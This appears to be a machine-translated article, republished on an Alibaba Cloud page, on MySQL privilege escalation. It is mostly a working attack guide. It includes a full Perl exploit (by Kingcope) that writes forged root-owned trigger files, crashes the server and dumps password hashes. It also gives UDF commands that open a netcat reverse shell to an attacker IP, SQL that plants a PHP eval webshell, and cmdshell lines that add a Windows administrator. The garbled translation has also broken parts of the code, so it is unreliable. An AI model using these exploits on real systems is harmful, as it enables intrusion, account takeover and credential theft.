Introduction of common Security problems in MySQL database's right to raise

Source: Internet
Author: User
Tags eval sleep create database phpmyadmin

I. Use of security issues in UDF

For example, execute an SQL statement to view the contents of the/etc/passwd file:

The main use of the Load_file () function, of course, is that the function can be disabled. The above can easily see the/etc/passwd file information and IP address, of course, other file content can be seen.

Since the Load_file () function can only perform a view-file function similar to the system command cat, you can only use the UDF, which is the user defined function, which is the function of the system command.

View MySQL's plugin,plugin_dir path as/usr/lib/mysql/plugin

If, as I have encountered this database server, Plugin_dir's path is empty, it doesn't matter.

Execute the following SQL statement to export the hexadecimal file contents inside the Udf.txt to the/usr/lib/mysqludf.so

View the functions supported by this UDF library

To create a function and see if it was created successfully, you can see that a UDF named Sys_eval was created successfully.

Finally, the ability to perform higher privileges with UDF

The rest will use this UDF to obtain system privileges, hint can use NC bounce, execute nc-vv-l-P 12345 on their own host, execute SQL statement on the database

You can successfully bounce out of the Linux shell, and then down. However, the use of UDF has limitations, the need to have MySQL library operation permissions, under the MySQL library must have a Func table; in the case of Skipgranttables Open, the UDF will be banned.

PS: mysqludf.so is a library file I already have, using it to generate Udf.txt, execute the following SQL statement

The code is as follows Copy Code

Mysql> Select Hex (load_file ('/usr/lib/mysqludf.so ')) into outfile '/tmp/udf.txt ';
Query OK, 1 row affected (0.04 sec)

The summary of the right of root authority

The vulnerability was released on the December 1 seclist, where the author successfully tested the Debian Lenny (mysql-5.0.51a), OpenSuSE 11.4 (5.1.53-log) and added a MySQL administrator account after the successful execution of the code.

The code is as follows Copy Code
Use DBI ();

$|=1;

=for Comment

MySQL privilege elevation Exploit
This exploit adds a new admin user.
by Kingcope

Tested on www.2cto.com
* Debian Lenny (mysql-5.0.51a)
* OpenSuSE 11.4 (5.1.53-log)

How it works:
This exploit makes the use of several things:
*the attacker is in possession of a MySQL user with ' file ' privileges for the target
*so The attacker can create files on the system and this user (owned by user ' MySQL ')
*so the attacker is able to create TRIGGER files for a MySQL table
Triggers can be used to trigger of the event when a MySQL command being executed by the user,
Normally triggers are ' attached ' to a user and'll is executed with this users privilege.
Because we can write any contents into the TRG file (the actual trigger file), we write the entry
Describing the attached user for the trigger as "root@localhost" what is the default Admin user.
* We make use of the stack overrun priorly discovered to flush the server config so trigger file.
This is really important, without crashing the MySQL server instance and reconnecting (the server would respawn)
The trigger file would not is recognized.

So what the exploit does is:
* Connect to the MySQL Server
* Create a table named Rootme for the trigger
* Create the trigger file IN/VAR/LIB/MYSQL/<DATABASENAME>/ROOTME. TRG
* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
* INSERT a value into the table so the trigger event gets executed
* The trigger now sets all privileges of the current connecting user in the Mysql.user table to Enabled.
* Crash the MySQL Server again to force it reload the user Configuration
* Create a new MySQL user with the all privileges set to Enabled
* Crash again to reload configuration
* Connect by using the newly created user
* The new connection has ADMIN access now to all databases in MySQL
* The user and password hashes in the Mysql.user table are dumped for a convinient way to show the exploit succeeded
* As said the user has full ACCESS to the database now

Respawning of Mysqld is doing by the mysqld_safe so that is not a issue in any configuration I ' ve seen.
=cut

=for Comment

User created for testing (file Privs'll minor privileges to only one database):

mysql> CREATE USER ' less ' @ '% ' identified by ' test ';
Query OK, 0 rows Affected (0.00 sec)

Mysql> CREATE DATABASE Lessdb
->;
Query OK, 1 row Affected (0.00 sec)

Mysql> grant all privileges in lessdb.* to ' less ' @ '% ' with GRANT OPTION;
Query OK, 0 rows affected (0.02 sec)

Mysql> Grant FILE on *.* to ' less ' @ '% ' with GRANT OPTION;
Query OK, 0 rows Affected (0.00 sec)

Login with new unprivileged User:
Mysql> select * from Mysql.user;
ERROR 1142 (42000): SELECT command denied to user ' less2 ' @ ' localhost ' for table ' user '

=cut

=for Comment

Example attack output:

C:userskingcopedesktop>perl mysql_privilege_elevation.pl
Select ' Type=triggers ' into outfile '/var/lib/mysql/lessdb3/rootme. TRG ' LINES TER
minated by ' ntriggers= ' CREATE definer= ' root ' @ ' localhost ' Trigger ATK after INS
ert on Rootme for each row\nbegin \nupdate mysql.user SET select_priv=\ ' y\
', insert_priv=\ ' y\ ', update_priv=\ ' y\ ', delete_priv=\ ' y\ ', create_p
Riv=\ ' y\ ', drop_priv=\ ' y\ ', reload_priv=\ ' y\ ', shutdown_priv=\ ' y\
', process_priv=\ ' y\ ', file_priv=\ ' y\ ', grant_priv=\ ' y\ ', Reference
S_priv=\ ' y\ ', index_priv=\ ' y\ ', alter_priv=\ ' y\ ', show_db_priv=\ ' Y
\ ', super_priv=\ ' y\ ', create_tmp_table_priv=\ ' y\ ', lock_tables_priv=\
' Y\ ', execute_priv=\ ' y\ ', repl_slave_priv=\ ' y\ ', repl_client_priv=\
' Y\ ', create_view_priv=\ ' y\ ', show_view_priv=\ ' y\ ', Create_routine_pri
V=\ ' y\ ', alter_routine_priv=\ ' y\ ', create_user_priv=\ ' y\ ', ssl_type=
\ ' y\ ', ssl_cipher=\ ' y\ ', x509_issuer=\ ' y\ ', x509_subject=\ ' y\ ',
Max_questions=\ ' y\ ', max_updates=\ ' y\ ', max_connections=\ ' y\ ' WHERE
User=\ ' less3\ '; \nend ' nsql_modes=0ndefiners= ' root@localhost ' Nclient_cs
_names= ' latin1 ' nconnection_cl_names= ' latin1_swedish_ci ' ndb_cl_names= ' Lati
N1_swedish_ci ' n ';D bd::mysql::d b do failed:unknown table ' Rootme ' at Mysql_pri
vilege_elevation.pl Line 44.
Dbd::mysql::d b do failed:lost connection to MySQL server during query at Mysql_
privilege_elevation.pl Line 50.
Dbd::mysql::d b do failed:lost connection to MySQL server during query at Mysql_
privilege_elevation.pl Line 59.
w00tw00t!
Found a row:id = root, name = *81f5e21e35407d884a6cd4a731aebfb6af209e1b
Found a row:id = root, name = *81f5e21e35407d884a6cd4a731aebfb6af209e1b
Found a row:id = root, name = *81f5e21e35407d884a6cd4a731aebfb6af209e1b
Found a row:id = debian-sys-maint, name = *c5524c128621d8a050b6dd616b06862f9d64
b02c
Found a row:id = some1, name = *94bdcebe19083ce2a1f959fd02f964c7af4cfc29
Found a row:id = Monty, name = *bf06a06d69ec935e85659fcded1f6a80426abd3b
Found a row:id = less, name = *94bdcebe19083ce2a1f959fd02f964c7af4cfc29
Found a row:id = r00ted, name = *ead0219784e951fee4b82c2670c9a06d35fd5697
Found a row:id = user, name = *14e65567abdb5135d0cfd9a70b3032c179a49ee7
Found a row:id = less2, name = *94bdcebe19083ce2a1f959fd02f964c7af4cfc29
Found a row:id = LESS3, name = *94bdcebe19083ce2a1f959fd02f964c7af4cfc29
Found a row:id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC

=cut

$user = "LESS10";
$password = "Test";
$database = "LESSDB10";
$target = "192.168.2.4";
$folder = "/var/lib/mysql/"; # Linux
$newuser = "Rootedbox2";
$newuserpass = "Rootedbox2";
$mysql _version = "51"; # can be or 50

if ($mysql _version eq "50") {
$inject =
"Select ' Type=triggers ' into outfile '". $folder. $database. " /rootme. TRG ' LINES terminated by ' \ntriggers=\ ' CREATE definer= ' root ' @ ' localhost ' trigger ATK after insert on ROOTME for each row\\ Nbegin \\nUPDATE mysql.user SET select_priv=\\\ ' y\\\ ', insert_priv=\\\ ' y\\\ ', update_priv=\\\ ' y\\\ ', delete_priv=\\\ ' y\\\ ', create_priv=\\\ ' y\\\ ', drop_priv=\\\ ' y\\\ ', reload_priv=\\\ ' y\\\ ', shutdown_priv=\\\ ' Y\\\ ', Process_priv=\\\ ' y\\\ ', file_priv=\\\ ' y\\\ ', grant_priv=\\\ ' y\\\ ', references_priv=\\\ ' y\\\ ', index_priv=\\\ ' Y\\\ ', Alter_priv=\\\ ' y\\\ ', show_db_priv=\\\ ' y\\\ ', super_priv=\\\ ' y\\\ ', create_tmp_table_priv=\\\ ' y\\\ ', lock_tables_priv=\\\ ' Y\\\ ', execute_priv=\\\ ' y\\\ ', repl_slave_priv=\\\ ' y\\\ ', repl_client_priv=\\\ ' y\\\ ', create_view_priv=\\\ ' Y\\\ ', Show_ view_priv=\\\ ' y\\\ ', create_routine_priv=\\\ ' y\\\ ', alter_routine_priv=\\\ ' y\\\ ', create_user_priv=\\\ ' Y\\\ ', Ssl_ type=\\\ ' y\\\ ', ssl_cipher=\\\ ' y\\\ ', x509_issuer=\\\ ' y\\\ ', x509_subject=\\\ ' y\\\ ', max_questions=\\\ ' Y\\\ ', max_ updates=\\\ ' y\\\ ', max_connections=\\\ ' y\\\ ' WHERE user=\\\ ' $user \\\ '; \\nend\ ' \nsql_modes=0\ndefiners=\ ' root@localhost\ ' Nclient_cs_names=\ ' latin1\ ' \nconnection_cl_names=\ ' latin1_swedish_ci\ ' \ndb_cl_names=\ ' latin1_swedish_ci\ ';
} else {
$inject =
"Select ' Type=triggers ' into outfile '". $folder. $database. " /rootme. TRG ' LINES terminated by ' \ntriggers=\ ' CREATE definer= ' root ' @ ' localhost ' trigger ATK after insert on ROOTME for each row\\ Nbegin \\nUPDATE mysql.user SET select_priv=\\\ ' y\\\ ', insert_priv=\\\ ' y\\\ ', update_priv=\\\ ' y\\\ ', delete_priv=\\\ ' y\\\ ', create_priv=\\\ ' y\\\ ', drop_priv=\\\ ' y\\\ ', reload_priv=\\\ ' y\\\ ', shutdown_priv=\\\ ' Y\\\ ', Process_priv=\\\ ' y\\\ ', file_priv=\\\ ' y\\\ ', grant_priv=\\\ ' y\\\ ', references_priv=\\\ ' y\\\ ', index_priv=\\\ ' Y\\\ ', Alter_priv=\\\ ' y\\\ ', show_db_priv=\\\ ' y\\\ ', super_priv=\\\ ' y\\\ ', create_tmp_table_priv=\\\ ' y\\\ ', lock_tables_priv=\\\ ' Y\\\ ', execute_priv=\\\ ' y\\\ ', repl_slave_priv=\\\ ' y\\\ ', repl_client_priv=\\\ ' y\\\ ', create_view_priv=\\\ ' Y\\\ ', Show_ view_priv=\\\ ' y\\\ ', create_routine_priv=\\\ ' y\\\ ', alter_routine_priv=\\\ ' y\\\ ', create_user_priv=\\\ ' Y\\\ ', event_priv=\\\ ' y\\\ ', trigger_priv=\\\ ' y\\\ ', ssl_type=\\\ ' y\\\ ', ssl_cipher=\\\ ' y\\\ ', x509_issuer=\\\ ' Y\\\ ', x509 _subject=\\\ 'y\\\ ', max_questions=\\\ ' y\\\ ', max_updates=\\\ ' y\\\ ', max_connections=\\\ ' y\\\ ' WHERE user=\\\ ' $user \\\ '; \\nend\ ' Nsql_modes=0\ndefiners=\ ' root@localhost\ ' \nclient_cs_names=\ ' latin1\ ' \nconnection_cl_names=\ ' latin1_swedish_ci \ ' \ndb_cl_names=\ ' latin1_swedish_ci\ ' \ n ';
}

print $inject; #exit;
$inject 2 =
"Select ' Type=triggername\ntrigger_table=rootme ' into outfile '". $folder. $database. " /atk. TRN ' FIELDS escaped by ' ";

My $dbh = Dbi->connect ("dbi:mysql:database= $database; host= $target;",
"$user", "$password",
{' RaiseError ' => 0});
eval {$dbh->do ("DROP TABLE Rootme")};
$DBH->do ("CREATE TABLE rootme (rootme VARCHAR (256));");
$DBH->do ($inject);
$DBH->do ($inject 2);

$a = "a" x 10000;
$DBH->do ("Grant all in $a. * to ' user ' @ '% ' identified by ' secret ';");

Sleep (3);

My $dbh = Dbi->connect ("dbi:mysql:database= $database; host= $target;",
"$user", "$password",
{' RaiseError ' => 0});

$DBH->do ("INSERT into Rootme VALUES (' rooted ');");
$DBH->do ("Grant all in $a. * to ' user ' @ '% ' identified by ' secret ';");

Sleep (3);

My $dbh = Dbi->connect ("dbi:mysql:database= $database; host= $target;",
"$user", "$password",
{' RaiseError ' => 0});

$DBH->do ("CREATE USER" $newuser ' @ '% ' identified by ' $newuserpass '; ");
$DBH->do ("Grant all privileges in *.* to ' $newuser ' @ '% ' with GRANT OPTION;");
$DBH->do ("Grant all in $a. * to ' user ' @ '% ' identified by ' secret ';");

Sleep (3);

My $dbh = Dbi->connect ("dbi:mysql:host= $target;",
$newuser, $newuserpass,
{' RaiseError ' => 0});

My $sth = $dbh->prepare ("SELECT * from Mysql.user");
$sth->execute ();

print "W00tw00t!n";

while (my $ref = $sth->fetchrow_hashref ()) {
Print "Found a row:id = $ref->{' User '}, name = $ref->{' Password '}n ';
}
$sth->finish ();

Third, the remote database to raise the right loophole

Because of version 5.1, the path to load a custom DLL must be under plugin, but this folder does not exist by default

#1 phpMyAdmin backstage to get the Webshell method
http://url/phpmyadmin/libraries/select_lang.lib.php Get Physical path
--------------------------------------------------------------------------------------
Create database tempdb;
Use tempdb
Create TABLE tb_temp (cmd text not NULL);
Insert into Tb_temp (cmd) VALUES (' <?php eval ($_post[c]);? > ');
Select cmd from tb_temp into outfile ' D:\webdir\eval.php ';
Drop TABLE IF exists tb_temp;
drop database tempdb;
-------------------------------------------------------------------------------------

#2 get the MySQL database root password can test export Udf.dll right
First upload a udf.dll.php to fill in the relevant parameters and then export Udf.dll to C:windowsudf.dll
Then execute the following command
-----------------------------------------------------------------------------------
Create function Cmdshell returns string Soname ' Udf.dll '
Select Cmdshell (' Net user admin$ 123456/add ');
Select Cmdshell (' net localgroup Administrators admin$/add ');
Drop function Cmdshell;
------------------------------------------------------------------------------------
But in this process often the problem is Udf.dll was killed, hahaha ...

#3 usually end up trying to use Func bounce to get Cmdshell
However always fail, the reason is: Mix.dll extracted the path by default is Webshell path
In general, MySQL is not allowed to load function libraries from any directory. Oh, can come to verify my statement.
1. Log in root using the MySQL link feature of Webshell
2. Execute CREATE function Mixconnect returns string Soname ' D:\webdir\Mix.dll ';
3. Execute select mixconnect (' ip_addr ', ' 9999 ');
If successful, use Nc-vv-l-p 9999 locally to bounce back to System privileges Cmdsell
Then two steps will error error "No paths allowed for shared library"
This explains that MySQL does not allow the function library to be loaded from any directory. The solution is also very simple to use MySQL
Copy the Mix.dll under the Webshell path to C:\Windows\Mix.dll
The implementation method is as follows:
---------------------------------------------------------------------------------------
CREATE TABLE Temp_mix (ABC Longblob);
INSERT into Temp_mix values (load_file (' D:\webdir\Mix.dll '));
SELECT * from Temp_mix into dumpfile ' C:\Windows\Mix.dll ';
Create function Mixconnect returns string Soname ' Mix.dll ';
Select Mixconnect (' ip_addr ', ' 9999 ');
drop table if exists temp_mix;
------------------------------------------------------------------------------------------

PS: If you find can ' t connect to MySQL server on ' localhost ' (10061) that MySQL may be suspended or dead,
If MySQL hangs, the administrator will soon find the amount .... Therefore, the use of caution.

In any case, we must update the latest version of the system or software and bug upgrades in a timely manner, regardless of security, and make regular or real-time backups of the database data.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.